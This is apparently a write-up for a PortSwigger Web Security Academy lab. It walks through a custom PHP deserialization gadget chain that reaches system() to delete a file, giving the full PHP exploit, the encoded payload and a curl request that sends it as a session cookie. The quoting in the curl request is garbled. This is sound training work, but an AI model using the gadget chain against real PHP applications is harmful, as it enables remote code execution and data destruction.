This lab is from here:
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization
get leaked code:
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/cgi-bin/libs/CustomTemplate.php~

call_user_func
exploit:
<?php
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
// Create the object with a dangerous callback
$map = new DefaultMap('system');
// (Optional) Trigger command immediately
$map->{'rm /home/carlos/morale.txt'};
?>
But we have to find a chain to run $map->{'rm /home/carlos/morale.txt'};
We can not direct invoke method, we can only modify variables.
Here is chains:
When the payload string is later passed to unserialize()
, it triggers:
CustomTemplate->__wakeup() → build_product() → Product->__construct() → triggers $desc->$default_desc_type → __get() → exec("rm /home/carlos/morale.txt")
modify the property of $desc, from private to public:
<?php
class CustomTemplate {
private $default_desc_type;
public $desc; // ✅ Made public
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
// ✅ Create object without building the product
$customTemplate = new CustomTemplate("rm /home/carlos/morale.txt");
// ✅ Inject malicious desc object
$customTemplate->desc = new DefaultMap('system');
// ✅ Serialize it
$ser = serialize($customTemplate);
echo $ser;
?>
php ./php/1.php | base64 -w0
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ==
then url encode:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D
send:
curl --path-as-is -i -s -k -X
GET'
-H
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net'
-b
session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D'
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/cgi-bin/libs/CustomTemplate.php'